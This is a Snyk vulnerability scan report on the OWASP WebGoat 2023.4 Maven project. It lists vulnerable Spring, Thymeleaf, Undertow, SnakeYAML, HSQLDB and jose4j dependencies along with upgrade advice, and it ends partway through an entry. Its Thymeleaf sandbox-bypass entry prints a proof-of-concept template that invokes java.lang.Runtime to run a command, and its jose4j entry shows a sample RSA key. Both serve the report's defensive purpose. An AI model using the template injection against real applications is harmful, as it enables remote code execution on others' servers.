Snyk test report

December 15th 2025, 7:16:54 pm (UTC+00:00)

Scanned the following path:

- C:\Users\WDAGUtilityAccount\Desktop\cloc\git\snykTest\WebGoat-2023.4/pom.xml (maven)

124 known vulnerabilities 124 vulnerable dependency paths 145 dependencies

Project	org.owasp.webgoat:webgoat	Path	C:\Users\WDAGUtilityAccount\Desktop\cloc\git\snykTest\WebGoat-2023.4
Package Manager	maven	Manifest	pom.xml

CRITICAL SEVERITY

Sandbox Bypass

- Package Manager: maven
- Vulnerable module: org.thymeleaf:thymeleaf
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-thymeleaf@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-thymeleaf@2.7.1 › org.thymeleaf:thymeleaf-spring5@3.0.15.RELEASE › org.thymeleaf:thymeleaf@3.0.15.RELEASE

Overview

Affected versions of this package are vulnerable to Sandbox Bypass due to insufficient checks, by allowing an attacker to execute arbitrary code via a crafted HTML.

PoC

```
<!DOCTYPE html>
        <html xmlns:th="http://www.thymeleaf.org">
        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
        </head>
        <body>

        <tr
                th:with="getRuntimeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.
        >
            <td>
                <a
                        th:with="runtimeObj=${T(org.springframework.util.ReflectionUtils).invokeMethod(getRuntimeMethod, null)}"
                >
                    <a
                            th:with="exeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframe
                    >
                        <a
                                th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(exeMethod, runtimeObj, 'calc' )
                        }"
                                th:href="${param2}"
                        ></a>
                    </a>

                </a>
            </td>
        </tr>

        </body>
        </html>
```

Remediation

Upgrade `org.thymeleaf:thymeleaf` to version 3.1.2.RELEASE or higher.

References

- GitHub Commit
- PoC

More about this vulnerability

CRITICAL SEVERITY

Improper Access Control

- Package Manager: maven
- Vulnerable module: org.springframework:spring-webmvc
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

---

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-webmvc@5.3.21

Overview

org.springframework:spring-webmvc is a package that provides Model-View-Controller (MVC) architecture and ready components that can be used to develop flexible and loosely coupled web applications.

Affected versions of this package are vulnerable to Improper Access Control when using an un-prefixed double wildcard pattern (`"**"`) in the Spring Security configuration with the `mvcRequestMatcher` . This configuration creates a pattern-matching discrepancy between Spring Security and Spring MVC, potentially allowing unauthorized access.

Note: The Spring security team have published information about an existing PoC, but have not shared the PoC itself publicly, therefore we don't currently have the ability to verify it.

Remediation

Upgrade `org.springframework:spring-webmvc` to version 5.3.26, 6.0.7 or higher.

References

- GitHub Commit
- Spring Blog
- Spring Security Advisory

More about this vulnerability

CRITICAL SEVERITY

Missing Authorization

- Package Manager: maven
- Vulnerable module: org.springframework.security:spring-security-web
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-security@2.7.1 and others

---

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-security@2.7.1 › org.springframework.security:spring-security-web@5.7.2

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Missing Authorization allowing Spring Security authorization rules to be bypassed for static resources.

Note:

Non-Static Resources Are Not Affected by this vulnerability. This is because handlers for these routes use predicates to validate the requests even if all security filters are bypassed.

Spring Security states that for this to impact an application, all of the following conditions must be met:

1. It must be a WebFlux application.
2. It must be using Spring's static resources support.
3. It must have a non-permitAll authorization rule applied to the static resources support.

Remediation

Upgrade `org.springframework.security:spring-security-web` to version 5.7.13, 5.8.15, 6.2.7, 6.3.4 or higher.

References

- Blog
- GitHub Commit
- GitHub Commit
- PoC
- Spring Security Advisory

More about this vulnerability

CRITICAL SEVERITY

Authentication Bypass by Primary Weakness

- Package Manager: maven
- Vulnerable module: org.springframework.security:spring-security-crypto
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.security:spring-security-test@5.7.2 and others

---

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.security:spring-security-test@5.7.2 › org.springframework.security:spring-security-core@5.7.2 › org.springframework.security:spring-security-crypto@5.7.2

Overview

org.springframework.security:spring-security-crypto is a spring-security-crypto library for Spring Security.

Affected versions of this package are vulnerable to Authentication Bypass by Primary Weakness in the `BCryptPasswordEncoder.matches()` function, which only takes the first 72 characters for comparison. Passwords longer than this will incorrectly return true when compared against other strings sharing the same first 72 characters, making them easier to brute force.

Note: Patches have also been issued for older versions of Enterprise Support packages.

Remediation

Upgrade `org.springframework.security:spring-security-crypto` to version 6.3.8, 6.4.4 or higher.

References

- GitHub Commit
- Vulnerability Advisory

More about this vulnerability

CRITICAL SEVERITY

Access Control Bypass

- Package Manager: maven
- Vulnerable module: org.springframework.security:spring-security-config
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-security@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-security@2.7.1 › org.springframework.security:spring-security-config@5.7.2

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Access Control Bypass. When using `**` as a pattern in Spring Security configuration for `WebFlux` a mismatch in pattern matching is created between Spring Security and Spring WebFlux, resulting in a security bypass.

Note:

The fixed versions require Spring Framework versions:

1. 6.0.11+
2. 5.3.29+
3. 5.2.25+

Note: The Spring security team have published information about an existing PoC, but have not shared the PoC itself publicly, therefore we don't currently have the ability to verify it.

Remediation

Upgrade `org.springframework.security:spring-security-config` to version 5.6.12, 5.7.10, 5.8.5, 6.0.5, 6.1.2 or higher.

References

- GitHub Commit
- Spring Security Advisory

More about this vulnerability

CRITICAL SEVERITY

HTTP Request Smuggling

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the interaction of quotation marks and delimiters in the `parseCookie()` function. An attacker can exfiltrate `HttpOnly` cookie values or smuggle extra cookie values.

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.30.Final, 2.3.11.Final or higher.

References

- GitHub Commit
- GitHub Commit
- Red Hat Bugzilla Bug
- Red Hat Issues

More about this vulnerability

HIGH SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.yaml:snakeyaml@1.30

Overview

org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing nested depth limitation for collections.

NOTE: This vulnerability has also been identified as: CVE-2022-38749

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `org.yaml:snakeyaml` to version 1.31 or higher.

References

- Bitbucket Commit
- BitBucket Issues
- GitHub Commit

More about this vulnerability

HIGH SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.yaml:snakeyaml@1.30

Overview

org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing nested depth limitation for collections.

NOTE: This vulnerability has also been identified as: CVE-2022-25857

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `org.yaml:snakeyaml` to version 1.31 or higher.

References

- Bitbucket Commit
- BitBucket Issues
- GitHub Commit

More about this vulnerability

HIGH SEVERITY

Path Traversal

- Package Manager: maven
- Vulnerable module: org.springframework:spring-webmvc
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-webmvc@5.3.21

Overview

org.springframework:spring-webmvc is a package that provides Model-View-Controller (MVC) architecture and ready components that can be used to develop flexible and loosely coupled web applications.

Affected versions of this package are vulnerable to Path Traversal via the `WebMvc.fn` and `WebFlux.fn` frameworks. An attacker can access any file on the file system that is also accessible to the process in which the Spring application is running by crafting malicious HTTP requests.

Note:

This is only exploitable if the web application uses `RouterFunctions` to serve static resources and resource handling is explicitly configured with a `FileSystemResource` location.

Workaround

This vulnerability can be mitigated by using the Spring Security HTTP Firewall or running the application on Tomcat or Jetty.

Remediation

Upgrade `org.springframework:spring-webmvc` to version 6.1.13 or higher.

References

- GitHub Commit
- Spring Security Advisory
- Nuclei Templates
- PoC in GitHub

More about this vulnerability

HIGH SEVERITY

Path Traversal

- Package Manager: maven
- Vulnerable module: org.springframework:spring-webmvc
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-webmvc@5.3.21

Overview

org.springframework:spring-webmvc is a package that provides Model-View-Controller (MVC) architecture and ready components that can be used to develop flexible and loosely coupled web applications.

Affected versions of this package are vulnerable to Path Traversal through the functional web frameworks `WebMvc.fn` or `WebFlux.fn`. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible.

Note: This is similar to CVE-2024-38816, but with different input.

Remediation

Upgrade `org.springframework:spring-webmvc` to version 6.1.14 or higher.

References

- GitHub Commit
- Spring Security Advisory
- PoC in GitHub

More about this vulnerability

HIGH SEVERITY

Open Redirect

- Package Manager: maven
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-web@5.3.21

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when `UriComponentsBuilder` parses an externally provided URL, and the application subsequently uses that URL. If it contains hierarchical components such as path, query, and fragment it may evade validation.

Remediation

Upgrade `org.springframework:spring-web` to version 5.3.32, 6.0.17, 6.1.4 or higher.

References

- GitHub Commit
- PoC
- Spring Advisory

More about this vulnerability

HIGH SEVERITY

Open Redirect

- Package Manager: maven
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-web@5.3.21

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when using `UriComponentsBuilder` to parse an externally provided `URL` and perform validation checks on the host of the parsed URL.

Note: This is the same as CVE-2024-22243, but with different input.

Remediation

Upgrade `org.springframework:spring-web` to version 5.3.33, 6.0.18, 6.1.5 or higher.

References

- GitHub Commit
- Spring Advisory

More about this vulnerability

HIGH SEVERITY

Incorrect Authorization

- Package Manager: maven
- Vulnerable module: org.springframework:spring-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-test@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-test@2.7.1 › org.springframework:spring-core@5.3.21

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Incorrect Authorization via the `AnnotationsScanner` and `AnnotatedMethod` class. An attacker can gain unauthorized access to sensitive information by exploiting improper resolution of annotations on methods within type hierarchies that use parameterized supertypes with unbounded generics.

Note: This is only exploitable if security annotations are used on methods in generic superclasses or generic interfaces and the `@EnableMethodSecurity` feature is enabled.

Remediation

Upgrade `org.springframework:spring-core` to version 6.2.11 or higher.

References

- GitHub Commit
- GitHub Issue
- GitHub Release
- Vendor Advisory

More about this vulnerability

HIGH SEVERITY

Relative Path Traversal

- Package Manager: maven
- Vulnerable module: org.springframework:spring-beans
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-web@5.3.21 › org.springframework:spring-beans@5.3.21

Overview

org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.

Affected versions of this package are vulnerable to Relative Path Traversal when deployed on non-compliant Servlet containers. An unauthenticated attacker could gain access to files and directories outside the intended web root.

Notes:

1. This is only exploitable if the application is deployed as a WAR or with an embedded Servlet container, the Servlet container does not reject suspicious sequences and the application serves static resources with Spring resource handling.
2. Applications deployed on Apache Tomcat or Eclipse Jetty are not vulnerable, as long as default security features are not disabled in the configuration.
3. This vulnerability was also fixed in the commercial versions 6.1.22 and 5.3.44.

Remediation

Upgrade `org.springframework:spring-beans` to version 6.2.10 or higher.

References

- GitHub Commit
- GitHub Release
- Spring Release
- Vendor Advisory

More about this vulnerability

HIGH SEVERITY

Authorization Bypass

- Package Manager: maven
- Vulnerable module: org.springframework.security:spring-security-web
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-security@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-security@2.7.1 › org.springframework.security:spring-security-web@5.7.2

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass via forward or include dispatcher types.

An application is vulnerable when all of the following are `true` :

1. The application expects that Spring Security applies security to forward and include dispatcher types.
2. The application uses the `AuthorizationFilter` either manually or via the `authorizeHttpRequests()` method.
3. The application configures the `FilterChainProxy` to apply to forward and/or include requests (e.g. `spring.security.filter.dispatcher-types = request, error, async, forward, include`).
4. The application may forward or include the request to a higher privilege-secured endpoint.
5. The application configures Spring Security to apply to every dispatcher type via `authorizeHttpRequests().shouldFilterAllDispatcherTypes(true)`

*An application is **not** vulnerable if any of the following is true*:

1. The application does not use `authorizeHttpRequests()` or the `AuthorizationFilter` .
2. The application does not forward/include requests.
3. The application does not need to configure Spring Security to apply to `FORWARD` and `INCLUDE` dispatcher types.

Workaround

Users who are unable to upgrade should use `AuthorizeRequests().filterSecurityInterceptorOncePerRequest(false)` instead of `AuthorizeHttpRequests().shouldFilterAllDispatcherTypes(true)` .

Users with version < 5.7.0 which does not have `shouldFilterAllDispatcherTypes` available, should add an `ObjectPostProcessor` :

```
authorizeHttpRequests().withObjectPostProcessor(new
         ObjectPostProcessor<AuthorizationFilter>() {
           @Override
           public<O extends AuthorizationFilter> O postProcess(O filter) {
            filter.setObserveOncePerRequest(false);
            filter.setFilterAsyncDispatch(true);
            filter.setFilterErrorDispatch(true);
            return filter;
           }});
```

Note:

In Spring Security 5, the default behavior is to not apply the filters more than once to a request, therefore users have to explicitly configure Spring Security to do that. In addition, the `FilterChainProxy` is also not configured to be invoked on `forward` and `include` dispatcher types.

Remediation

Upgrade `org.springframework.security:spring-security-web` to version 5.6.9, 5.7.5 or higher.

References

- GitHub Commit
- GitHub Issue
- GitHub Release
- Spring Documentation
- VMWare Advisory
- PoC in GitHub

More about this vulnerability

HIGH SEVERITY

Improper Access Control

- Package Manager: maven
- Vulnerable module: org.springframework.security:spring-security-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.security:spring-security-test@5.7.2 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.security:spring-security-test@5.7.2 › org.springframework.security:spring-security-core@5.7.2

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Improper Access Control when the application uses `AuthenticatedVoter` directly and a `null` authentication parameter is passed to it. Exploiting this vulnerability resulting in an erroneous `true` return value.

Note

Users are not affected if:

1. The application does not use `AuthenticatedVoter#vote` directly.
2. The application does not pass `null` to `AuthenticatedVoter#vote` .

Remediation

Upgrade `org.springframework.security:spring-security-core` to version 5.7.12, 5.8.11, 6.0.10, 6.1.8, 6.2.3 or higher.

References

- GitHub Commit
- GitHub Issue
- Security Advisory

More about this vulnerability

HIGH SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: org.springframework.boot:spring-boot-autoconfigure
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

---

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.springframework.boot:spring-boot-autoconfigure@2.7.1

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) if Spring MVC is used together with a reverse proxy cache.

Specifically, an application **is vulnerable** if *all of the conditions are true*:

- The application has Spring MVC auto-configuration enabled. This is the case by default if Spring MVC is on the classpath.
- The application uses Spring Boot's welcome page support, either static or templated.
- The application is deployed behind a proxy which caches 404 responses.

The application **is NOT vulnerable** if *any of the following are true*:

- Spring MVC auto-configuration is disabled. This is true if `WebMvcAutoConfiguration` is explicitly excluded, if Spring MVC is not on the classpath, or if `spring.main.web-application-type` is set to a value other than `SERVLET` .
- The application does not use Spring Boot's welcome page support.
- There is no proxy which caches 404 responses.

Workaround

Users who are unable to upgrade should configure the reverse proxy not to cache 404 responses and/or not to cache responses to requests to the root (`/`) of the application.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload .
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `org.springframework.boot:spring-boot-autoconfigure` to version 2.5.15, 2.6.15, 2.7.12, 3.0.7 or higher.

References

- GitHub Commit

- GitHub Issue
- GitHub Release

More about this vulnerability

HIGH SEVERITY

Access Restriction Bypass

- Package Manager: maven
- Vulnerable module: org.springframework.boot:spring-boot-actuator-autoconfigure
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-actuator@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-actuator@2.7.1 › org.springframework.boot:spring-boot-actuator-autoconfigure@2.7.1

Overview

Affected versions of this package are vulnerable to Access Restriction Bypass due to improper implementation of wildcard pattern matching.

An application **is vulnerable** when *all* of the following are true:

1. Users have code that can handle requests matching `/cloudfoundryapplication/**`. Typically, this will be if there is a catch-all request mapping which matches `/**`
2. The application is deployed to Cloud Foundry.

Note: Applications using Spring Cloud Config Server can handle requests to `/cloudfoundryapplication/**` by default and can be vulnerable if deployed to Cloud Foundry.

An application **is not vulnerable** if *any* of the following is true:

1. The application is not deployed to Cloud Foundry
2. Users have disabled Cloud Foundry actuator endpoints with `management.cloudfoundry.enabled` set to `false`
3. The application does not have handler mappings that can handle requests to `/cloudfoundryapplication/**`

Workaround

Users who are unable to upgrade to the fixed version can disable Cloud Foundry actuator endpoints by setting `management.cloudfoundry.enabled` to `false`.

Remediation

Upgrade `org.springframework.boot:spring-boot-actuator-autoconfigure` to version 2.5.15, 2.6.15, 2.7.11, 3.0.6 or higher.

References

- Advisory
- GitHub Commit
- GitHub Commit
- GitHub Issue
- GitHub Release

More about this vulnerability

HIGH SEVERITY

Memory Allocation with Excessive Size Value

- Package Manager: maven
- Vulnerable module: org.jruby:jruby-stdlib
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.asciidoctor:asciidoctorj@2.5.3 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.asciidoctor:asciidoctorj@2.5.3 › org.jruby:jruby@9.3.6.0 › org.jruby:jruby-stdlib@9.3.6.0

Overview

org.jruby:jruby-stdlib is a JRuby Lib Setup package.

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the `ResponseReader` class. An attacker can cause the application to allocate excessive memory and trigger a denial of service by including "literal" strings in responses sent to client-initiated connections and IMAP commands.

After implementing the fix, the default `max_response_size` is still high (512MiB) to accommodate backward compatibility. It is recommended to set a lower `max_response_size` if connecting to untrusted servers or using insecure connections.

Remediation

A fix was pushed into the `master` branch but not yet published.

References

- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub PR
- GitHub PR
- Red Hat Bugzilla Bug

More about this vulnerability

HIGH SEVERITY

Uncontrolled Resource Consumption ('Resource Exhaustion')

- Package Manager: maven
- Vulnerable module: org.jboss.xnio:xnio-api
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final › org.jboss.xnio:xnio-api@3.8.7.Final

Overview

org.jboss.xnio:xnio-api is a simplified low-level I/O layer which can be used anywhere you are using NIO.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the `NotifierState` function that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large, leading to a possible denial of service.

Remediation

Upgrade `org.jboss.xnio:xnio-api` to version 3.5.10, 3.7.13, 3.8.14 or higher.

References

- GitHub Commit
- RedHat Bugzilla Bug

More about this vulnerability

HIGH SEVERITY

Remote Code Execution (RCE)

- Package Manager: maven
- Vulnerable module: org.hsqldb:hsqldb
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.hsqldb:hsqldb@2.5.2

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.hsqldb:hsqldb@2.5.2

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when using `java.sql.Statement` or `java.sql.PreparedStatement` to process untrusted input. By default, it is allowed to call any static method of any Java class in the classpath resulting in code execution.

Workaround

Users who are unable to upgrade to the fixed version can set the system property `hsqldb.method_class_names` to classes which are allowed to be called. For example, `System.setProperty("hsqldb.method_class_names", "abc")` or Java argument `-Dhsqldb.method_class_names="abc"` can be used.

Remediation

Upgrade `org.hsqldb:hsqldb` to version 2.7.1 or higher.

References

- Chromium Bugs
- GitHub Commit
- Mitigation
- SVN Commit

More about this vulnerability

HIGH SEVERITY

Use of a Broken or Risky Cryptographic Algorithm

- Package Manager: maven
- Vulnerable module: org.bitbucket.b_c:jose4j
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.bitbucket.b_c:jose4j@0.7.6

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.bitbucket.b_c:jose4j@0.7.6

Overview

org.bitbucket.b_c:jose4j is a robust and easy to use open source implementation of JSON Web Token (JWT) and the JOSE specification suite (JWS, JWE, and JWK). It is written in Java and relies solely on the JCA APIs for cryptography. Please see https://bitbucket.org/b_c/jose4j/wiki/Home for more info, examples, etc...

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm due to using `RSA1_5` which is susceptible to chosen ciphertext attacks. The attack allows decrypting `RSA1_5` or `RSA_OAEP` encrypted ciphertexts. It may be feasible to sign with the affected keys.

PoC


```
{
                "kty": "RSA",
                "alg": "RSA1_5",
                "use": "enc",
                "n": "w2A4cbwOAK4ATnwXkGWereqv9dkEcgAGHc9g-cjo1HFeilYirvfD2Un2vQxW_6g2OKRPmmo46vMZFMYv_V57174j411y-NQlZGb7iFqMQADzo6OVZ7vpvAX_NuxNGxYR-N2cBgvgqDiGAoO9ouNdhuHhxipTjGVfrPUpxm
                "e": "AQAB",
                "kid": "rsa1_5",
                "d": "EjMvbuDeyQ9sdeM3arscqgTXuWYq9Netui8sUHh3v_qDnQ1jE7t-4gnyOy-IFy67RlGAHNlSTgixSG8h3O9i5_kNbMuyvxO8EntJaS1OLVQpXhDskoo9vscsPBiNIj3PFMjIFQQcPG9vhGJzUu4tMzhtiME-oTB8VidMae
                "p": "-F1u3NAMWPu1TIuvIywIjh5fuiA3AVKLgS6Fw_hAi3M9c3T7E1zNJZuHgQExJEuO6ZPfzye9m7taDzh-Vw4VGDED_MZedsE2jEsWa9EKeq3bZVf5j81FLCHH8BicFqrPjvoVUC35wrl9SGJzaOa7KXxD2jW22umYjJS_kc
                "q": "yWHG7jHqvfqT8gfhIlxpMbeJO2FrWIkgJC-zOJ26wXC6oxPeqhqEO7ulGqZPngNDdSGgWcQ7noGEU8O4MA9V3yhl91TFZy8unoxOsGeOjDMwtxm3saXtTsjTE7FBxzcROPubfyGiSOfJqQcj8oJSWzZPkUshzZ8rF3jTLc
                "dp": "Va9WWhPkzqY4TCo8x_OfF_jeqcYHdAtYWb8FIzD4g6PEZZrMLEft9rWLsDQLEiyUQ6lio4NgZOPkFDA3Vi1jla8DYyfE2O-ZVBlrqNK7vMtST8pkLPpyjOEyq2CyKRfQ99DLnZfe_RElad2dV2mS1KMsfZHeffPtTOLaP
                "dq": "M8rA1cviun9ygOHBhgvMRiwU91dLu1Zw_L2DO2DFgjCS35QhpQ_yyEYHPWZefZ4LQFmoms2cI7TdqolgmoOnKyCBsO2NY29AByjKbgAN8CzOL5kepEKvWJ7PonXpG-ou29eJ81VcHw5Ub_NVLG6V7b13EOAGbpKsC3pYn
                "qi": "8zIqISvddJYC93hPOsKkdHuVd-Mes_gsbi8xqSFYGqc-wSU12KjzHnZmBuJl_VTGy9CO9W4K2gejr588a3Ozf9U5hx9qCVkVO_ttxHcTRem5sFPe9z-HkQE5IMW3SdmL1sEcvkzD7z8QhcHRpp5aMptfuwnxBPY8U449_
            },
```


Remediation

Upgrade `org.bitbucket.b_c:jose4j` to version 0.9.3 or higher.

References

- Bitbucket Commit
- Bitbucket Commit
- Bitbucket Release

More about this vulnerability

HIGH SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: org.bitbucket.b_c:jose4j
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.bitbucket.b_c:jose4j@0.7.6

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.bitbucket.b_c:jose4j@0.7.6

Overview

org.bitbucket.b_c:jose4j is a robust and easy to use open source implementation of JSON Web Token (JWT) and the JOSE specification suite (JWS, JWE, and JWK). It is written in Java and relies solely on the JCA APIs for cryptography. Please see https://bitbucket.org/b_c/jose4j/wiki/Home for more info, examples, etc...

